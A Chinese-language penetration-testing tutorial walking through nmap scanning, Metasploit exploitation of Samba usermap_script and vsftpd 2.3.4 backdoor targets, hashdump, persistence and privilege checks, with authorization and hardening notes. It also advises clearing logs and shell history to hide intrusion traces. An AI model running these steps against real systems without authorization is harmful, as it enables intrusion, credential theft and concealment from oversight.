如何使用Linux exploit进行渗透测试

Linux 漏洞利用在渗透测试中的合规流程

一 合规与准备

• 仅在取得系统所有者的明确书面授权前提下开展测试，限定IP/时间/范围，避免影响生产业务与数据。
• 使用隔离网络（如实验环境、靶场），避免对真实业务造成破坏或数据泄露。
• 全程记录与报告：命令、输出、证据截图、风险与修复建议，测试结束按约定清理痕迹。
• 工具与系统建议：使用Kali Linux / Parrot Security / Black Arch等安全发行版；常用工具包括Nmap、Metasploit、Nikto、OpenVAS、Hydra等。

二 标准流程与关键命令

• 信息收集与端口扫描
  • 主机发现与端口枚举：nmap -sP 192.168.1.0/24；全端口与服务识别：nmap -sS -sV -p 1-65535 。
  • 漏洞扫描辅助：Metasploit 辅助模块 use auxiliary/scanner/portscan/tcp；Web 服务可用 Nikto：nikto -h http://；全面漏洞评估可用 OpenVAS（gvm-setup 后通过 https://localhost:9392 创建任务）。
• 漏洞利用与获取会话
  • 启动框架：msfconsole；搜索模块：search <关键词>；选择模块：use 。
  • 常用参数：set RHOST <目标IP>、set RPORT <端口>、set LHOST <监听IP>、set LPORT <监听端口>；执行：run/exploit。
  • 会话管理：sessions -l 查看；sessions -i 进入；获取 Meterpreter 后可 sysinfo、hashdump、migrate 等后渗透操作。
• 后渗透、权限提升与维持
  • 权限提升：检查 sudo 权限 sudo -l，寻找可无密码或以高权限执行的命令进行利用。
  • 维持访问：按需使用 Metasploit 的持久化模块或上传脚本/密钥，但应评估对系统稳定性与审计的影响。
  • 清理痕迹：删除测试文件、清理历史与日志（如 history -c），避免留下明显入侵迹象。

三 常见利用示例

• Samba “username map script” 命令执行（CVE-2007-2447）
  • 适用条件：目标存在Samba 3.0.20–3.0.25rc3 且未打补丁，允许通过映射脚本执行命令。
  • 步骤示例：
    • msf5 > use exploit/multi/samba/usermap_script
    • msf5 exploit(usermap_script) > set RHOSTS <目标IP>
    • msf5 exploit(usermap_script) > set RPORT 139
    • msf5 exploit(usermap_script) > exploit
  • 成功后获取 shell，可进一步执行系统命令或升级为 Meterpreter 会话。
• FTP 后门类漏洞利用（示例：vsftpd 2.3.4）
  • 步骤示例：
    • msfconsole
    • msf > search vsftpd
    • msf > use exploit/unix/ftp/vsftpd_234_backdoor
    • msf > set RHOST <目标IP>
    • msf > run
  • 成功后获取目标系统访问权限，进入后渗透阶段。

四 风险控制与加固建议

• 严格控制测试边界与回退预案，优先选择非破坏的验证方式；对关键系统先做快照/备份。
• 避免使用会造成数据损毁/拒绝服务的模块；如需压力或 DoS 验证，须单独授权并隔离时段执行。
• 及时更新漏洞库与工具，并在报告中给出可复现的验证步骤、影响范围与修复方案（如补丁、最小权限、禁用不必要服务、强口令与多因素、日志审计与完整性校验）。

合规与免责声明

• 本内容仅用于合规授权的安全测试与防护研究。对未授权目标的任何测试或利用均可能触犯法律并造成损害。实际操作请遵循当地法律法规与合同约定，并由具备资质的人员执行。